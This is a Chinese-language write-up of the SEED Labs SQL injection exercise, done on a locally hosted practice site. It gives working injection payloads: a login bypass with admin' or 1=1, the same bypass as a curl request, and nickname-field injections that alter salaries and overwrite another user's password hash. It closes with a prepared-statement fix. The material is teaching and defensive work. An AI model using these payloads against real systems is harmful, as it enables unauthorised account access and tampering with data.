这个实验主要是尝试以下SQL注入。由于整个实验过程要用到网站,这里先配置一下。
网站部署在本地,且用域名访问,所以我们需要现在 /etc/hosts文件中设置域名到 IP 的映射关系。内容如下:
127.0.0.1 www.SeedLabSQLInjection.com
网站使用Apache作为服务器,在 /etc/apache2/sites-available/000-default.conf配置一下网站主目录,内容如下:
<VirtualHost *:80>
ServerName http://www.SeedLabSQLInjection.com
DocumentRoot /var/www/SQLInjection
</VirtualHost>
事实上,上面两部分环境中早已配置好,无需我们操心。
访问一下http://www.seedlabsqlinjection.com/
, 没有问题。
1. Task 1
这部分主要是熟悉一下SQL。这个应用后台有一个名为Users
的数据库,其中有一个名为credential
的表,表结构类似下图:
我们可以打印Alice
的信息如下:
[06/26/21]seed@VM:/home$ mysql -uroot -pseedubuntu
mysql: [Warning] Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 4
Server version: 5.7.19-0ubuntu0.16.04.1 (Ubuntu)
Copyright (c) 2000, 2017, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> use Users;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> select * from credential where name = "Alice";
+----+-------+-------+--------+-------+----------+-------------+---------+-------+----------+------------------------------------------+
| ID | Name | EID | Salary | birth | SSN | PhoneNumber | Address | Email | NickName | Password |
+----+-------+-------+--------+-------+----------+-------------+---------+-------+----------+------------------------------------------+
| 1 | Alice | 10000 | 20000 | 9/20 | 10211002 | | | | | fdbe918bdae83000aa54747fc95fe0470fff4976 |
+----+-------+-------+--------+-------+----------+-------------+---------+-------+----------+------------------------------------------+
1 row in set (0.00 sec)
mysql>
2. Task 2
这部分主要是对SQL中的Select
语句进行SQL注入攻击.网站登录验证的逻辑位于/var/www/SQLInjection\unsafe_home.php
, 大致如下:
$input_uname = $_GET[’username’];
$input_pwd = $_GET[’Password’];
$hashed_pwd = sha1($input_pwd);
...
$sql = "SELECT id, name, eid, salary, birth, ssn, address, email,
nickname, Password
FROM credential
WHERE name= ’$input_uname’ and Password=’$hashed_pwd’";
$result = $conn -> query($sql);
// The following is Pseudo Code
if(id != NULL) {
if(name==’admin’) {
return All employees information;
} else if (name !=NULL){
return employee information;
}
} else {
Authentication Fails;
}
Task 2.1
这部分主要就是假设你知道网站管理员用户名为admin
, 但是不知道密码,在网站的登录页面输入什么值可以登陆进admin
的账号。
这里我使用的username
为 admin' or 1 = 1 --'
, password
为空,输入即可登录并显示所有信息
注意这里攻击的话只能从修改 username
入手,修改password
是没有用的,因为password
经过哈希之后会使攻击失效。
Task 2.2
这部分还是重复 task 2.1
的内容,只不过换成命令行的形式。这里我用的username
为 admin' or 1 = 1 --'
, password
为空,与上面一样。
查看登录的GET请求如下:
使用下面的js构造URL,执行得到的URL为 http://www.seedlabsqlinjection.com/unsafe_home.php?username=admin%27%20or%201%20%3D%201%20--%27&Password=
var username = "?username=" + escape("admin' or 1 = 1 --'");
var password = "&Password=" + escape("");
console.log("http://www.seedlabsqlinjection.com/unsafe_home.php" + username + password);
使用下面的curl命令请求登录,这里因为我的系统代理有点问题,所以加了-noproxy, 也可以去掉中间的两个参数,直接用curl + url即可。
curl --noproxy "*" http://www.seedlabsqlinjection.com/unsafe_home.php?username=admin%27%20or%201%20%3D%201%20--%27&Password=
结果如下,可以看出成功登录,中间框起来的就是返回的用户表格信息。
Task 2.3
这部分主要是利用SQL注入做一些偷取信息之外的事情,我们就以删除用户Bob为目标吧。
使用的 username
为 admin'; delete from credential where name = 'Bob' #'
, password
为 空,登录结果如下:
可以看到,登录失败,原因是后台使用的是mysqli.query()
进行数据库查询,其一次只支持一条sql语句,而我们上面的输入会使得存在两条sql语句,所以会报错。
3. Task 3
这部分主要是用sql注入对update语句进行注入。
编辑主页页面如下
处理的逻辑位于 /var/www/SQLInjection\unsafe_edit_backend.php.php
, 大致如下:
$hashed_pwd = sha1($input_pwd);
$sql = "UPDATE credential SET
nickname=’$input_nickname’,
email=’$input_email’,
address=’$input_address’,
Password=’$hashed_pwd’,
PhoneNumber=’$input_phonenumber’
WHERE ID=$id;";
$conn->query($sql);
Task 3.1
这部分主要是修改自己的收入, 而页面上没有修改收入这一选项。
这里使用的是Alice账号,虽然我们不知道密码,但是我们可以用username
为 Alice'#
,password
为空登陆进去。
接下来修改自己的salary为50000。使用的nickname
为 Alice', salary = ’50000
, 其他字段为空。 修改后如下:
注意: 虽然salary字段在数据库中是int类型,我们构造的是字符串类型,但数据库可以自动完成字符串到int的转换。
Task 3.2
这部分主要是修改别人的收入。这里我们演示将 Boby 的 salary 改成 1。使用 username
为 Boby'#
, password
为空,可以登录进Boby账户。显示如下:
要修改Boby的信息,必须要先通过社会工程学知道一些Boby的信息和猜测。这里我们知道了Boby的名字,我们可以猜测对应字段的名字,比如username
, name
等等。如我们猜测对应字段为username
, 则使用的nickname
为 Boby', salary = 1 where username = 'Boby' #
, 其他为空。如为name
, 则使用的nickname
为Boby', salary = 1 where name = 'Boby' #
, 其他为空。主要是知道字段和对应的值,方便从数据库中筛选出Boby,比如 ID = 2。
这个表单执行了错误的sql也不会报错,我们可以将猜想的都放进去执行。等猜中的执行完了Boby的salary就被修改了。上面我们猜的name
是对的,所以攻击成功。如下所示
Task 3.3
这部分主要是修改别人的密码。具体和上面的类似,只是字段换成了password, 注意数据库中存的password是明文password的哈希值。
这里我们演示将Boby的密码修改为空, 也就是`` , 其sha1值为da39a3ee5e6b4b0d3255bfef95601890afd80709。
因此我们使用的nickname
为Boby', password = 'da39a3ee5e6b4b0d3255bfef95601890afd80709' where name = 'Boby' #
,其他为空
即可完成修改。
再使用username
为 Boby
, password
为空即可登录Boby账号
4. Task 4
这部分主要是探讨SQL注入的一个防御措施:预处理SQL。原来的拼接式SQL如下:
$sql = "SELECT name, local, gender
FROM USER_TABLE
WHERE id = $id AND password =’$pwd’ ";
$result = $conn->query($sql))
而预处理SQL可以将SQL中的code和data分离,使得不会混淆。如下:
$stmt = $conn->prepare("SELECT name, local, gender
FROM USER_TABLE
WHERE id = ? and password = ? ");
// Bind parameters to the query
$stmt->bind_param("is", $id, $pwd);
$stmt->execute();
$stmt->bind_result($bind_name, $bind_local, $bind_gender);
$stmt->fetch();
接着用预处理SQL来修复网站的SQL注入漏洞。其实修复好的php源码就在/var/www/SQLInjection
目录下,无需动手。
Task 4.1
这部分是对登录页面的修复。
修改后的查询数据库源码如下:
// create a connection
$conn = getDB();
// Sql query to authenticate the user
$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password
FROM credential
WHERE name= ? and Password= ?");
$sql->bind_param("ss", $input_uname, $hashed_pwd);
$sql->execute();
$sql->bind_result($id, $name, $eid, $salary, $birth, $ssn, $phoneNumber, $address, $email, $nickname, $pwd);
$sql->fetch();
$sql->close();
if($id!=""){
// If id exists that means user exists and is successfully authenticated
drawLayout($id,$name,$eid,$salary,$birth,$ssn,$pwd,$nickname,$email,$address,$phoneNumber);
}else{
// User authentication failed
echo "</div>";
echo "</nav>";
echo "<div class='container text-center'>";
echo "<div class='alert alert-danger'>";
echo "The account information your provide does not exist.";
echo "<br>";
echo "</div>";
echo "<a href='index.html'>Go back</a>";
echo "</div>";
return;
}
可以看到换用了预处理SQL方式,先用 prepare()
处理SQL模板,再用bind_param()
绑定数据,最后获取结果。
并将/var/www/SQLInjection/index.html
中所有的unsafe
都修改为 safe
.
随便输入账号登录,确保红框处为safe_home.php
即可。
在Task 2.1 中使用的username
为 admin' or 1 = 1 --'
, password
为空,尝试登录,结果如下,攻击失败
Task 4.2
这部分是对修改主页页面的修复。
将 /var/www/SQLInjection/unsafe_edit_frontend.php
中的unsafe
都改成 safe
,最后将这个文件名中的的unsafe
也改成 safe
将 /var/www/SQLInjection/safe_edit_backend.php
中的unsafe
都改成 safe
。
处理修改的数据库查询的逻辑位于 /var/www/SQLInjection/safe_edit_backend.php
中,修改后的如下:
$conn = getDB();
// Don't do this, this is not safe against SQL injection attack
$sql="";
if($input_pwd!=''){
// In case password field is not empty.
$hashed_pwd = sha1($input_pwd);
//Update the password stored in the session.
$_SESSION['pwd']=$hashed_pwd;
$sql = $conn->prepare("UPDATE credential SET nickname= ?,email= ?,address= ?,Password= ?,PhoneNumber= ? where ID=$id;");
$sql->bind_param("sssss",$input_nickname,$input_email,$input_address,$hashed_pwd,$input_phonenumber);
$sql->execute();
$sql->close();
}else{
// if passowrd field is empty.
$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");
$sql->bind_param("ssss",$input_nickname,$input_email,$input_address,$input_phonenumber);
$sql->execute();
$sql->close();
}
$conn->close();
header("Location: safe_home.php");
exit();
和之前的一样,也是先用 prepare()
处理SQL模板,再用bind_param()
绑定数据,最后获取结果。
当前Boby主页如下:
我们尝试将Boby的Salary修改为50000,使用的参数与 Task 3.1 类似。 nickname
为 Boby', salary = ’50000
, 其他字段为空,尝试修改。结果如下:
可以看到我们输入的nickname被当成了nickname, 而不是salary作为一个字段。最后攻击失败,salary修改失败,只有
nickname被修改了。
撒花完结!!!